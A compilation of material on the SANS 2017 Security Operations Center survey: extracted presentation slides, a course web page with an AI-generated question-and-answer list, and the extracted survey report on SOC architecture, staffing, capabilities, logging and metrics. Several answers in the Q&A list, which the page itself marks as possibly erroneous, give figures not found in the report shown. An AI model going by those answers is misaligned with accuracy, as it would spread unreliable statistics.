Government, Tech, Cyber, Education, Telecom, Retail not likely to outsource security monitoring I considered doing (out+both ) / (in+both ) – might be a better comparison Thoughts on Monitoring and Detection Anecdotally, people tell me their companies outsource Tier 1 Network Security Monitoring (NSM) Usually with tepid satisfaction, still done because of 24x7 requirements and staffing issues Personally, I think it is a great opportunity for efficiency if the org can define clear escalation use cases (from Service Provider) and have the same data in -house for tier 2+ analysis Usually achievable only in mature SOCs eDiscovery and Evidence Collection n=236 Telecoms and Transportation likely to outsource in some way Retail, Edu, Cyber, Government unlikely to outsource Thoughts on eDiscovery If you already have a legal team to do this, don’t fight to bring it into the SOC If you don’t, this is something you should prepare to do for the organization Skillset and application is slightly different, technology (particularly if you have host agents already installed) is largely the same I’ve used agent based forensic tools to conduct eDiscovery at scale •77% —are utilizing security information and event management (SIEM) •23% —custom, internally developed APIs and dashboards 280% 10% 20% 30% 40% 50%Through our SIEM (security information event manager)Through our aggregated log management systemThrough a threat intelligence platformThrough home-developed APIs and dashboardsDon’t always know – it all happens in the cloudOther Looking at Data •57% —Metrics of some form 2957.4% 28.5%14.0%Does your SOC provide metrics that can be used in your reports and dashboards to gauge the ongoing status of and effectiveness of your SOC’s capabilities? Yes No Measuring Success 0% 20% 40% 60% 80%Substantially or completely manualPrimarily or fully automatedSubstantial manual effortCondensed Results•40% —Primarily or fully automated •5%—Fully automated into dashboard (not pictured) 30 Metrics Creation •60% —We’re most satisfied with our flexibility o Two ways you could interpret this 310% 20% 40% 60% 80% 100%Flexibility of responseOverall response timeEffectiveness and thoroughness of containmentAccuracy of detectionConfigurability of toolsThoroughness of remediationRemediation timeTime to detectTime to contain attacksFalse positive ratesWorkflowClarity of reportsTime to deflect or disrupt attacks and abuseSOC-NOC coordination and effectivenessAbility to detect previously unknown attacksOther Satisfied Response Percent Functionality Most Valued •NIDS is likely internal •DDoS and Threat Intel are likely outsourced 32 0% 10% 20% 30% 40% 50% 60% 70% 80% 90%OtherAI or machine learningDeception technologies to use against attackersFrequency analysis for network connectionseDiscovery (support legal requests for specific information…SSL/TLS traffic inspectionThreat huntingNetflow analysisEgress filteringEndpoint or host-based detection and response (EDR)Web application firewall (WAF)DoS and DDoS protectionCustomized or tailored SIEM use-case monitoringDNS log monitoringPacket analysisApplication log monitoringThreat intelligenceRisk analysis and assessmentWindows event log monitoringSIEM reporting and analyticsLog managementNetwork intrusion detection and preventionService Both Internal Outsourced Detection •IoT maybe? o9% support all organizational IoT systems o21% no plans for SOC support of smart systems •Central log collection? •More hunting? •Cloud resources? 3316.4% 18.4% 26.4%19.2%8.8%10.8%What percentage of logs, including all application, network, host and infrastructure -related logs, are centrally collected by your SOC? 0–25% 26–50% 51–75% 76–99% Wishlist for 2018? •SIEM is primary mechanism for correlating data •60% have metrics of some form •But it is largely manual to calculate •SOCs value their own flexibility and adaptability •Substantial out -sourcing, particularly DDoS and Threat Intelligence •Future looks like added technology, probably not an epiphany on the value of analysis to drive that technology more intelligently 34 Recap (1) •Many architectures used, but most are single, centralized SOCs •Application whitelisting is a key preventive tool that only 66% are currently using •Coordination with NOC is limited, but offers opportunities for improved coverage •Majority cover SOC activities in -house •Leading outsourced activities include threat research, digital forensics, security monitoring and detection, and e-Discovery 35 Recap (2) Please take time to share (tweet maybe) your thoughts about questions you have, and would like to see included in next years SOC Survey I’m also interested in hearing about your SOC architecture, if you are permitted to share Feedback Requested SOC survey with ~300 respondents SOC capabilities vary, vary by sector Interested in anecdotes and case studies regarding your SOC Twitter: @CCrowMontance Links & this presentation: https://bit.ly/crow -soc Summary --- ## Source: https://montance.com/questions.php?id=110 [![pdf](content/images/icons/pdf.svg) Future SOC SANS 2017 Survey.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgY1p4bkJlTmcwMWM/view?usp=drive_link) Future SOC Sans 2017 Survey Presentation covering Survey titled 'Future SOC Sans 2017 Survey'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the title of the SANS 2017 SOC Survey? A: Future SOC: SANS 2017 Security Operations Center Survey. * Q: What was the top barrier to SOC excellence identified in 2017? A: Lack of visibility into the network and endpoints. * Q: What percentage of SOCs reported being 'fully defined and optimized'? A: Only 14% of respondents. * Q: What technology was cited as the 'most critical' for future SOCs? A: Security Automation and Orchestration (SOAR). * Q: What percentage of SOCs use a 'Hybrid' staffing model (Internal + MSSP)? A: 33% of respondents use a hybrid model. * Q: What is the most common metric used to measure SOC performance? A: Number of incidents handled. * Q: What percentage of SOCs have a dedicated 'Threat Hunting' team? A: 28% of respondents reported having a dedicated hunting team. * Q: What is the 'SANS SOC Maturity Model' mentioned? A: A 5-level model ranging from 'Non-Existent' to 'Optimized'. * Q: What is the primary driver for SOC evolution? A: The increasing sophistication of attacks and the failure of prevention-only strategies. * Q: What percentage of SOCs integrate Threat Intelligence into their SIEM? A: 62% of respondents. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgY1p4bkJlTmcwMWM/view?usp=drive_link&resourcekey=0-CEv4L7Qrx_to0GXAk6zAFQ **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgY1p4bkJlTmcwMWM/view?usp=drive_link&resourcekey=0-CEv4L7Qrx_to0GXAk6zAFQ]** Interested in learning more about security? SANS Institute InfoSec Reading Room This paper is from the SANS Institute Reading Room site. Reposting is not permitted without express written permission. Future SOC: SANS 2017 Security Operations Center Survey The primary strengths of security operations centers (SOCs) are flexibility and adaptability, while their biggest weakness is lack of visibility. Survey results indicate a need for more automation across the prevention, detection and response functions. There are opportunities to improve security operations, starting with coordination with IT operations. SOCs can improve their understanding how to serve the organization more effectively and their use of metrics. Copyright SANS Institute Author Retains Full Rights ©2017 SANS™ InstituteA SANS Survey Written by Christopher Crowley May 2017 Sponsored by Carbon Black, Endgame, LogRhythm, NETSCOUT, Tripwire, and ThreatConnectFuture SOC: SANS 2017 Security Operations Center Survey Security operations centers (SOCs) are growing up, according to our new SANS survey. Respondents indicated that the SOC’s primary strengths are flexibility and adaptability while its biggest weakness is lack of visibility: SOCs still can’t detect previously unknown threats, which is a consistent problem across many other SANS surveys. The survey also found a need for more automation across the prevention, detection and response functions—particularly in prevention and detection, where the tools respondents use are mostly the same. As a sign that SOCs are becoming multifunctional and maturing, 67% of respondents said they are satisfied with their flexibility of response, while 65% are satisfied with their overall response time and 64% felt satisfied with containment abilities. However, satisfaction numbers dip below 50% for SOC-NOC (network operations center) coordination and effectiveness, as well as the ability to detect previously unknown threats, which is also the capability that received the most “not satisfied” responses, at 45%. These are clear areas where more automation and integration will help organizations take their SOCs to the next level. Most SOCs (83%) have a defined notion of what an incident is, and 57% of respondents said they utilize metrics for assessing the SOC’s performance. Yet, 69% of those who use metrics require substantial manual effort to compile those metrics. This is another area where better automation and SOC-NOC information sharing would help organizations take their SOCs to the next level. However, only 32% of SOCs have close integration with network operations and only 12% have strong technical integration between the groups. This lack of integration may be due, in part, to the variety of architectures respondents utilize. Overall, 61% currently have centralized their security, response and remediation functions into a single SOC, and 28% disperse their SOC functions to different security, response and remediation departments. Respondents are also mixing up their capabilities with the cloud, particular for their preventive capabilities. While organizational SOCs are maturing and expanding their capabilities today, there are clear opportunities to improve security operations, starting with better relationships and coordination with IT operations. SOCs can better self-assess with metrics and do a better job of understanding how to serve the organization more effectively. These and other issues, along with advice and best practices, are discussed in the following pages. SANS ANALYST PROGRAM Future SOC: SANS 2017 Security Operations Center Survey 1Executive Summary 1 “Ten Strategies of a World-Class Cybersecurity Operations Center, ” Carson Zimmerman, MITRE, 2014, www.mitre.org/sites/default/files/publications/pr-13-1028-mitre-10-strategies-cyber-ops-center.pdfSecurity Operations Center (SOC) A team primarily composed of security analysts organized to detect, analyze, respond to, report on and prevent cybersecurity incidents. 1 What SOCs Do Respondents indicated a broad range of capabilities in their SOC: provide prevention capabilities through network IDS/IPS, while 89% provide either log management or network monitoring provide detection capabilities through network IDS/IPS, while 85% provide log management and 84% provide SIEM reporting and analytics provide response capabilities through endpoint detection and response (EDR), while 74% use network forensic analysis and 72% provide host-based forensics 91% 86% 77% SOC Architectures SANS ANALYST PROGRAM 2The 309 respondents who qualified for this survey most commonly described themselves as technical practitioners (50%), with roles such as developer, architect, analyst, administrator or operator of some form. Managers (manager, director, officer or C-level) made up 40% of respondents, while another 8% worked in a spectrum of jobs related to incident response and 2% were auditors. The largest group (14%) worked for cyber security firms, while 13% were from banking and finance, 12% from technology, and 10% from government sectors. See Figure 1. These demographics are slightly different than those of most other SANS surveys, in which the top two respondent categories are usually government and finance. The high number of those in a cyber security business may indicate a growing trend for cloud- based SOCs and the staffs to fill them. Future SOC: SANS 2017 Security Operations Center SurveyWhat is your organization’s primary industry? ManufacturingTechnologyCyber security Insurance UtilitiesGovernmentBanking and finance Telecommunications/ISP RetailHealthcare MediaEducation Transportation HospitalityOther Figure 1. Industries Represented14% 12%10% 8% 6% 4%2%0% SOC Architectures (CONTINUED) SANS ANALYST PROGRAM 3Locations and Centralization Organizations represented in the survey run business operations all over the world (see Figure 2), with 54% headquartered in the United States and 22% headquartered in Europe. Those with global operations said most of their SOCs (61%) are currently centralized into a single center, but we didn’t ask where those centralized SOCs were actually located (inferring that they may or may not be in the same location as their headquarters). Future SOC: SANS 2017 Security Operations Center SurveyIn what countries or regions does your organization have operations? Select all that apply. 69% 26%18% 24%25%27% 49%36% In what countries or regions is your primary corporate headquarters? Select all that apply. 54% 4%2% 2%5%5% 22%7% Figure 2. Regions and Headquarters of Organizations SOC Architectures (CONTINUED) SANS ANALYST PROGRAM 4Those in the second largest group (28%) indicated that their SOC functions are dispersed among different security and response groups, while 25% of SOCs are centralized and distributed regionally and 17% are putting all their SOC functions into the cloud, as illustrated in Figure 3. Because this was an “answer all that apply” question, there is some overlap between answers, indicating that there are a lot of different architectures being followed. It is clear, however, that SOC-related functions are becoming embedded, centralized or dispersed depending on organizational need. Some of this variation may also have to do with the maturity of the SOCs, which was not addressed in this study. Future SOC: SANS 2017 Security Operations Center SurveyTAKEAWAY In the future, security teams will need to implement and follow security maturity curves for their SOCs if they want to see them get to the next level. 2 2 “Getting C-Level Support to Ensure a High-Impact SOC Rollout, ” September 2016, www.sans.org/reading-room/whitepapers/analyst/c-level-support-ensure-high-impact-soc-rollout-37347What is the architectural approach for your SOC, and what additional architecture is planned for the next 24 months? Select those that most apply. Centralized into a single SOC Full SOCs distributed regionally SOC functions dispersed to different departments (e.g., security, response, compliance) Some SOC functions handled by a single cloud provider Some SOC functions handles by multiple cloud providers OtherCentralized and distributed regionally Partial SOCs in regional locations All SOC functions handled by a single cloud provider All SOC functions handled by multiple cloud providers Figure 3. Architectural Approaches Used for SOCs0% 40% 20% 60% Current Next 24 Months SOC Architectures (CONTINUED) SANS ANALYST PROGRAM 5Size and the SOC Another factor potentially affecting SOC architectures is the size of the organization. Respondents were from a variety of organizational sizes, the largest group being from midsize organizations (251 to 1,000 employees and contractors) and medium-to-large organizations (2,000 to 15,000 workers). Overall, 66% represented workforces of fewer than 10,000 employees and contractors. We decided to break the organizational sizes into these categories given the very large company sizes represented beyond the 1,000-sized organization (which is a traditional measurement of a “large” company). See Figure 4. Future SOC: SANS 2017 Security Operations Center SurveyWhat is the size of the workforce at your organization, including employees, contractors and consultants? 5,001–10,000251–1,000Fewer than 100 10,001–15,0001,001–2,000100–250 15,001–50,000 50,001–100,000 More than 100,0002,001–5,000 Figure 4. Organizational Size12% 8% 4%0% SOC Architectures (CONTINUED) SANS ANALYST PROGRAM 6Survey results indicate that SOC size does not closely depend on organizational size, at least for organizations with workforces under 10,000. The general size of the SOC for most small to what we’re labeling medium and medium-to-large organizations (i.e., with workforces of 10,000 or fewer) seems to be between two and five full-time employee (FTE) positions authorized. See Figure 5. Figure 5. SOC Size in Positions Authorized Versus Organization Size The top answer for even those organizations with fewer than 100 workers was two to five FTEs. This may be another indicator of their utilization of cloud services. While two to five FTEs was still the most selected answer at the 5,001 to 10,000 range, the shift toward more FTEs becomes fully visible as we reach 10,001 and over, where staffing moves toward the 11-to-25 range, with organizations over 100,000 trending toward the 26-to- 100 SOC staff size. Future SOC: SANS 2017 Security Operations Center SurveyOrganization Size Versus Positions Authorized 5,001–10,000251–1,000Fewer than 100 10,001–15,0001,001–2,000100–250 15,001–50,000 50,001–100,000 More than 100,0002,001–5,000 Figure 5. SOC Size in Positions Authorized Versus Organization Size7% 6% 5% 4%3%2% 1% 0% <1 (part time) 1 2–5 6–10 11–25 26–100 100–1,000 SOC Architectures (CONTINUED) SANS ANALYST PROGRAM 7SOC Staffing This survey asked the size of the SOC but not how the organization determined what the size should be. The primary parameters determining size are: • Capability required—Compliance based, heavily customized, all in-house or mostly outsourced • Performance objectives—Detection, response, forensics, hours of performance (9 to 5 or 24/7) • Duplication necessary—Potential need for different SOCs in geographical areas, for example, an EU-specific SOC for European Union data • Budget—Limits the delivery of capability, performance and duplication Mixing It Up with Cloud Cloud computing is currently part of 46% of the SOC infrastructures represented in this survey, with 21% of respondents saying some functions will be cloud-based in the next 24 months and another 21% saying all of their SOC functions will be handled by one or multiple cloud providers in the next 24 months. When it comes to managing specific capabilities in their SOCs, respondents said most activities are primarily handled in-house, particularly strategic activities such as their security roadmap and planning, security architecture and engineering, and security administration, all with over 78% claiming in-house management. Future SOC: SANS 2017 Security Operations Center SurveyPercentage of respondents who manage their security roadmap and planning, architecture and administration in-house 78% SOC Architectures (CONTINUED) SANS ANALYST PROGRAM 8The leading activities for which organizations rely on outsourced services, either totally or in conjunction with internal resources, are threat research (44%), digital forensics (38%), security monitoring and detection (35%), and e-discovery and legal evidence collection (33%). See Figure 6. When outsourcing is done well, the upside of a managed/cloud resource is the availability of data from a cross-section of industries and systems from the central vantage point of the managed security service provider (MSSP). The managed service analysts have different environments from which to learn and gain visibility into threats. The downside is reduced customization. If the organization isn’t acting in response to the enhanced visibility, intelligence and use cases, it doesn’t actually benefit from outsourcing. Future SOC: SANS 2017 Security Operations Center SurveyWhat activities are you handling in-house? What activities have you outsourced, either totally or in part, to outside services through a managed security service provider (MSSP) or in the cloud? Check only those that apply to your organization. Security administration Security monitoring and detection Remediation Security roadmap and planning Threat research eDiscovery and legal evidence collection OtherIncident response Compliance support Security architecture and engineering Digital forensics Figure 6. In-House Versus Outsourced SOC Activities0% 40% 20% 60% 80% 100% Both Outside Services (MSSP , Cloud) In-House TAKEAWAY The best use of outsourcing is to augment the organization’s competencies, which is what organizations are mostly using cloud services for. SOC Architectures (CONTINUED) SANS ANALYST PROGRAM 9SOC and NOC Respondents described the SOC relationship to the NOC in multiple ways. There was separation (43%), which included no NOC, no relationship to the NOC and little direct communication. And there was integration to various degrees: 21% work together during emergencies, 20% work together but are not technically integrated, and only 12% are integrated technically (see Figure 7). Interaction between the SOC and NOC presents an opportunity for organizations to improve their detection and response capabilities, given that the SOC and NOC have similar objectives: protecting the information assets of the organization and keeping the business running. In many organizations, separation of duties creates silos of visibility. In the 2017 SANS survey on security integration and optimization, more than 80% of respondents cited significant barriers in reporting, visibility into risk posture and the ability to detect new threats as their top three concerns with respect to lack of integration in their security and response functions.3 Lack of management buy-in and staffing is also holding them back. Without management support and action, silos will continue to hamper the free sharing of information between SOC, NOC and response personnel. Establishing standard operating procedures with service-level agreements for the NOC to perform containment actions during incident response is a good use of resources that are already empowered to make operational changes to the network. Future SOC: SANS 2017 Security Operations Center SurveyTAKEAWAY Establish communication requests from the SOC to the NOC for visibility into the ongoing performance of the network, facilitating deconfliction of security incidents from operational problems.What is your SOC’s relationship to your network operations center (NOC)? Figure 7. SOC and NOC Relationship There is no relationship. We don’t have a NOC. Our SOC and NOC teams have very little direct communication. Our SOC and NOC teams only work together when there are emergencies. Our NOC team is an integral part of our detection and response, although our SOC and NOC activities are not technically integrated. Our NOC team and SOC team are kept well-informed through integrative dashboards with shared information, APIs and workflow, where needed. Other 3 “Integrating Prevention, Detection and Response Workflows: SANS Survey on Security Optimization, ” April 2017, www.sans.org/reading-room/whitepapers/analyst/integrating-prevention-detection-response-work-flows-survey-security-optimization-37730 SOC Capabilities SANS ANALYST PROGRAM 10SOCs carry a lot of responsibility for organizational success, and as such, the capabilities they provide are continuing to grow. Based on responses, there is a lot of crossover between prevention and detection capabilities, while response operations differ greatly. For example, network intrusion detection and response were equally important for detection and prevention, while endpoint detection and response (EDR) was the most used capability for response. There are also some variations: Security information and event management (SIEM) is being used more often for detection and less for prevention—for example, threat intelligence is utilized slightly more for detection than prevention. As suggested earlier in the architecture section of this paper, SOCs are beginning to combine cloud-based services with their own internal services, and responses show that services are used far more for prevention and detection capabilities. For example, more than 50% of respondent organizations are using some cloud-based services for penetration testing and threat intelligence for their prevention capabilities, while 10% fewer, on average, are using the two services for detection. The highest uses of cloud for detection were denial of service and distributed denial of service (DDoS) at just over 40%; intelligence was the second highest use of cloud-based services for detection at just under 40%. Meanwhile, cloud services are used far less for response capabilities, where, with the exception of reverse engineering of malware, cloud services are utilized in less than 25% of respondents’ organizations. Future SOC: SANS 2017 Security Operations Center Survey SOC Capabilities (CONTINUED) SANS ANALYST PROGRAM 11Prevention? More than 71% of SOCs provide the top 17 prevention capabilities listed in Figure 8, either internally, through a SOC service or a combination of both. A preventive capability attempts to stop an attack from being successful. In the survey, 91% use in-line network intrusion detection and prevention systems (NIPS) to prevent attacks from succeeding. NIPS are the preventive component of this type of tool. This group of capabilities represents the network-based inspection of traffic content for unwanted actions and the termination of communication once inappropriate content or communications are identified. Future SOC: SANS 2017 Security Operations Center SurveyWhat type of prevention capabilities are provided by your SOC? Please indicate whether these services are provided by an internal SOC, a SOC service (including cloud-based) or both. Leave blank those that don’t apply. Network intrusion detection system (IDS)/Intrusion prevention system (IPS) Web proxyNetwork traffic monitoring Malware protection system (MPS)Vulnerability remediation Web application firewall (WAF)SIEM Malware detonation device (inline malware destruction)Threat intelligence Deception technologiesAsset discovery and inventory OtherContinuous vulnerability assessment or monitoringLog management DoS and DDoS detection and mitigationAccess protection and control/VPN/Net Next-generation firewall (NGFW)Penetration testing Data loss preventionEndpoint monitoring and logging Application whitelisting Figure 8. Prevention Capabilities Provided by SOCs0% 40% 20% 60% 80% 100% Service Both Internal SOC Capabilities (CONTINUED) SANS ANALYST PROGRAM 12Unfortunately, other network-based prevention tools such as next-generation firewalls (NGFWs) and web application firewalls (WAFs) are trailing near the end of the capabilities provided by SOCs, even though these are just as critical. WAFs are the most specific type of network intrusion prevention, protecting only web applications, which is the probable cause of the lower adoption rate. But the general- purpose NIPS and NGFWs are ill-equipped to deal with custom web applications. Cloud Services Preventing? Of the 20 preventive controls listed in Figure 8, not including “Other, ” less than 10% use 14 of those controls as services. Three answers were 10% to 20% service only, while another three had over 20% service only. Then the picture emerges that the top three SOC functions used solely as services are penetration testing (26%), DoS/DDoS mitigation (23%) and threat intelligence (21%). These three functions stand out as being far more likely to be outsourced than any of the other control capabilities, given their areas of specialization. They were also the top three in the “both” category of outsourced and internal capabilities but in slightly different order: threat intelligence (31%), penetration testing (28%) and DoS/DDoS mitigation (25%). The least chosen preventive capabilities offered in the SOC include deception capabilities (42%) and application whitelisting (66%). Whitelisting Isn’t Easy Application whitelisting is primarily a preventive tool, and there are some detective benefits as well. Yet, in our experience, SOCs are opting not to use application whitelisting because of the overhead of operations in establishing and maintaining the lists. In most environments, the tool to deploy application whitelists is already owned via enterprise versions of Microsoft Windows with AppLocker, available since Windows 7. Many endpoint protection suites also provide the ability to restrict execution. In most IT environments, whitelisting is difficult to maintain and keep up to date. Future SOC: SANS 2017 Security Operations Center SurveyTAKEAWAY SOCs are inclined to deploy a general-purpose preventive tool with broad coverage capabilities that may be lacking in quality in a preventive arrangement where false positives are intolerable. This creates evasion opportunities for attackers, making it a poor strategy. The better approach is to deploy tuned and targeted prevention tools and develop use cases for detection based on threat intelligence and understanding of deployed systems. SOC Capabilities (CONTINUED) SANS ANALYST PROGRAM 13Detection? In the survey, 82% of respondents said their SOCs deploy Windows event log monitoring, while 84% use SIEM reporting and analytics; 86% cited log management and network intrusion detection and prevention as their top detection tools. These are baseline detection controls that everyone is familiar with. See Figure 9. Future SOC: SANS 2017 Security Operations Center SurveyWhat type of detective capabilities are provided by your SOC? Please indicate whether these services are provided by an internal SOC, a SOC service (including cloud-based) or both. Leave blank those that don’t apply. Network intrusion detection and prevention Web application firewall (WAF)SIEM reporting and analytics Egress filteringRisk analysis and assessment Threat huntingApplication log monitoring eDiscovery (support legal requests for specific information collection)DNS log monitoring Deception technologies to use against attackersCustomized or tailored SIEM use-case monitoring AI or machine learning OtherDoS or DDoS protectionLog management Endpoint or host-based detection and response (EDR)Windows event log monitoring Netflow analysisThreat Intelligence SSL/TLS traffic inspectionPacket analysis Frequency analysis for network connections Figure 9. Detection Capabilities0% 40% 20% 60% 80% Service Both Internal SOC Capabilities (CONTINUED) SANS ANALYST PROGRAM 14Windows event log monitoring involves potentially overwhelming amounts of data to monitor the health and status of a system. To deal with the overload, a few strategies can be employed. First, organizations can employ targeted inspection for indicators of interest, usually from threat intelligence. This should be applied historically as new threat intelligence comes to light. A second option is threat hunting by analysts for relationships that might not be identified through automated correlation. This process is time consuming, but it’s necessary for long-term improvement. Finally, SOCs can use system-provided correlation to identify scenarios of anomalies for detection and validation. This is also called use-case development, and this automation of correlation should be an output from threat hunting exercises. Responding to the Call? Most people think of incident response as the manifestation of the defense of the organization. In practice, we can respond only when we detect. This is where threat intelligence tools—such as adversary deception, threat campaign tracking, threat attribution and threat neutralization—should be used most. Yet these functions score lowest on the list of response capabilities SOCs offer. See Figure 10. Future SOC: SANS 2017 Security Operations Center SurveyCloud Services Detecting? As you can see from Figure 9 (on the previous page), respondent organizations are adopting even fewer cloud services for their detection functions. But the ones that do stand out—DoS/DDoS detection and threat intelligence—make sense, given that most intelligence providers are third parties and you need to externally choke off DoS attacks before they disrupt business. SOC Capabilities (CONTINUED) SANS ANALYST PROGRAM 15 Endpoint Focus Endpoints are the focus of many response capability scenarios, according to SANS surveys, which indicates that user-owned endpoints, in particular, represent the initial point for compromises.4 Endpoints also represent the “untrusted but internal” users of an organization who are at risk of falling for phishing, being infected by drive-by downloads or carrying application vulnerabilities on their devices. Future SOC: SANS 2017 Security Operations Center SurveyWhat response services does your SOC perform? Please indicate whether these services are performed by an internal SOC staff, an outsourced SOC service, or both. Only select those that apply to your organization. Figure 10. SOC Response Services Endpoint detection and response (EDR) Reverse engineering of malwareHost-based forensic analysis Threat attributionAdversary containment Adversary deceptionPlaybook-based response actions OtherConstituent communications Adversary interruption Threat neutralizationNetwork forensic analysis Public relations coordinationCommand center Threat campaign trackingCustomer interaction (call center) Hardware reverse engineeringWorkflow-based remediation 0% 40% 20% 60% SOC Service Both Internal SOC 4 ”Next-Gen Endpoint Risks and Protections: A SANS Survey, ” March 2017, www.sans.org/reading-room/whitepapers/analyst/next-gen-endpoint-risks-protections-survey-37652 SOC Capabilities (CONTINUED) SANS ANALYST PROGRAM 16In the case of user endpoints, containment and remediation are easier because there is only a single user impacted by the remediation process. On servers, there is typically a larger community of employees or customers that the containment action affects, sometimes with an unacceptable availability interruption. Cloud Services Responding? SOCs use cloud-based services far less for response capabilities, which survey takers indicated is mostly done in-house. This makes sense, given that most tool vendors follow events and provide advice, maps and even patches. But remediation and other response functions are generally up to the impacted organizations to handle. Organizations most commonly outsourced reverse engineering, likely because specialization is required and it is infrequently needed to perform incident response. Monitoring Things? Interestingly, the Internet of Things (IoT)—all the stuff that’s connected to computer networks that isn’t a traditional user system like a phone or a laptop—is not getting much SOC coverage. See Figure 11. Only 9% said they support all organizational IoT systems, while 21% currently have no plans for their SOC to support smart systems. The most common answer was that currently there’s partial coverage (24%). Future SOC: SANS 2017 Security Operations Center SurveyTAKEAWAY SOCs need to act as the equivalent to “911” for computer emergencies. They should have clear means for customers to report issues. Yet in the survey, only 65% of respondents said they have this capability in any form. Does your SOC support nontraditional computing devices (Internet of Things, such as smart sensors, building devices, building monitoring, manufacturing and industrial control systems, etc.)? Other We haven’t assessed and inventoried smart system yet, but we plan to. Yes. Our SOC supports all of our smart systems deemed at risk.Unsure No. We have no plans to support smart systems. Partly. Our SOC supports some of our connected, at-risk smart systems. Figure 11. SOC Support of Nontraditional Computing Devices0% 10% 5% 15% 20% Now In the Next 24 Months 25% SOC Capabilities (CONTINUED) SANS ANALYST PROGRAM 17Logging? Central collection and aggregation of all logs and longer retention times (even if it takes a long time to access the logs) facilitates effective monitoring, cyber threat intelligence and threat hunting. Further, logs facilitate the root-cause inspection of compromises that started well before the initial detection. Yet, according to respondents, only 9% are centralizing 100% of their logs, while the largest group (26%) centralize 51% to 75% of logs, as illustrated in Figure 12. Operating without all available data is an often-encountered situation in incident response activity. There are a few possible explanations for not centralizing 100% of logs, including: • The technical challenge of getting all the data to a single place. Network bandwidth can be expensive, and shipping log data is frequently foregone. • The political challenge in receiving the logs. Considering that many SOCs serve in an advisory role rather than a technical analytical capacity, they receive data only when some subordinate part of the organization requests assistance and shares specific data. • The space limitation challenge of retaining logs. Most SOCs retain and store logs for a limited duration, which is discussed next. Future SOC: SANS 2017 Security Operations Center SurveyWhat percentage of logs, including all application-, network-, host- and infrastructure-related logs, are centrally collected by your SOC? Figure 12. Centralization of Logs 0–25% 26–50% 51–75% 76–99% 100% UnknownSome 9% of SOCs fully aggregate logs centrally, even though 61% of respondents said they’re currently “centralized into a single SOC. ” Even SOCs that are “centralized” often don’t centralize log data. 9% 61% SOC Capabilities (CONTINUED) SANS ANALYST PROGRAM 18Of the logs that are being retained for the SOC, 57% of regulated data is retained for one year or less, while 42% of unregulated data is retained for one year or less. This is adequate if the incidents being investigated are fully wrapped up within one year. Unfortunately, industry studies such as Verizon’s 2016 data breach report and SANS surveys show there is a longer duration than one year before discovery in many instances.5, 6 Making Sense? In the survey, 77% of respondents said their SOCs are using SIEM tools to stitch together the disparate sources and look for patterns. This is a costly proposition, but usually more cost-effective than custom, internally developed APIs and dashboards, which 23% of respondents said they are using. See Figure 13. As with most of our questions, respondents were able to select all that apply so there is some overlap, reflecting the real-world environments in which teams use multiple tools to perform analytics functions. Future SOC: SANS 2017 Security Operations Center SurveyTAKEAWAY: Collection of information is valuable for the purpose of correlation. Aggregating massive amounts of data to look for anomalies is what the SOC does as a matter of ongoing operations. How does your SOC correlate and analyze event data, IOCs and other security- and threat-related data? Select those that most apply. Don’t always know—it all happens in the cloudOther Through a threat intelligence platform Through our SIEM (security information event manager) Through home-developed APIs and dashboards Through our aggregated log management systems Figure 13. Data Correlation and Analysis Methodologies0% 20% 40% 60% 80% 5 “2016 Verizon Data Breach Investigations Report, ” www.verizonenterprise.com/verizon-insights-lab/dbir 6 “Incident Response Capabilities in 2016: The 2016 SANS Incident Response Survey, ” June 2016, www.sans.org/reading-room/whitepapers/analyst/incident-response-capabilities-2016-2016-incident-response-survey-37047 SOC Capabilities (CONTINUED) SANS ANALYST PROGRAM 19There are many specialized systems in place to assist with pattern matching and guidance. For example, cyber threat intelligence (CTI) platforms, selected by 38% of respondents as part of their SOC capability, have created opportunities to correlate information. Their ongoing collection of attacker behavior helps analysts seek out indicators, such as: • IP addresses • SMTP gateways • Malware programming techniques • Commonly employed adversary tactics• Adversary working hours • Preferred targets In the survey, 38% of respondents said they are using log collection and aggregation tools to analyze their event data. Or, as one respondent candidly responded, they correlate through “luck, mostly. ” SIEM tools tend to have a challenge with massive amounts of data because they attempt to process everything as it is ingested. On the other hand, log aggregation maintains a raw collection of data, with analytical processing happening as needed. Threat hunting is an area of responsibility for the SOC. Even with an armada of equipment and software, analysts must tune that technology to suit the organization’s changing IT landscape, as well as the adaptive threat environment. The adversaries defrauding and damaging organizations are human. Adversaries are adaptive, motivated and profitable. Some SOCs are embracing threat hunting as a part of standard operations. Responses show that organizations are using multiple platforms to help with the correlation, meaning there are multiple platforms and consoles from which analysts collect, correlate and remediate. Threat hunting with automated data collection and correlation improves the speed with which analysts can investigate and remediate unknown threats. For known threats, inclusion of learned intelligence in correlation engines is the way to improve accuracy and performance. Future SOC: SANS 2017 Security Operations Center SurveyHunting Means Looking for Something The lucky ones are those who are looking for something rather than waiting for it to find them. This involves collecting data (registry, process, file, user, etc.) and correlating it to find suspicious behavior in your enterprise environment. Every correlation and use case built into EDR, SIEM and incident response platforms or homegrown tools stems from an analyst investigating something that is a bit off. SOCs are clearly on their toes for incident definition. In this survey, only 17% of respondents lack a formal definition of what an incident is or is not, which is an important starting measurement for defenders and analysts alike (see Figure 14). The prospect of running a SOC without a formal definition of what is appropriate to detect or respond to represents a major obstacle to effective SOC operation. Most organizations (45%) do have a formal definition with specific impact categories. The next largest group uses a less formal approach: “any adverse event above the normal level of noise. ” Even the 2% who stated their organization purposefully avoids the term incident because it would trigger legal action know what they’re trying to avoid. This represents an interesting but not uncommon problem. All SOCs must conform to the legal guidance provided by the organization, and there are specific actions that might be very expensive for the organization. This legal maneuvering takes care and caution. The danger is when the legal caution prevents the SOC from doing optimal work. SANS ANALYST PROGRAM 20Metrics and Performance Which of these most closely resembles your organization’s definition of a security incident? Figure 14. Organizational Definitions of “Incident” We have no formal definition of a security incident. An incident is any adverse event or the threat of an adverse event above the normal level of noise. An incident is a cyber intrusion that impacts our systems and causes direct or indirect financial damage to us or our clients/customers. There are multiple specific incident types and impact levels that are formally defined as an incident in our organization. The organization doesn’t use the term incident, because that would trigger regulatory or industrial reporting requirements it wants to avoid. We haven’t sorted out the difference in the definitions of an incident, a breach and a threat, but we are hoping to. Other Future SOC: SANS 2017 Security Operations Center SurveyAn incident is “an observed and declared occurrence of the compromise or imminent compromise of our system. ” —Survey respondent Metrics and Performance (CONTINUED) 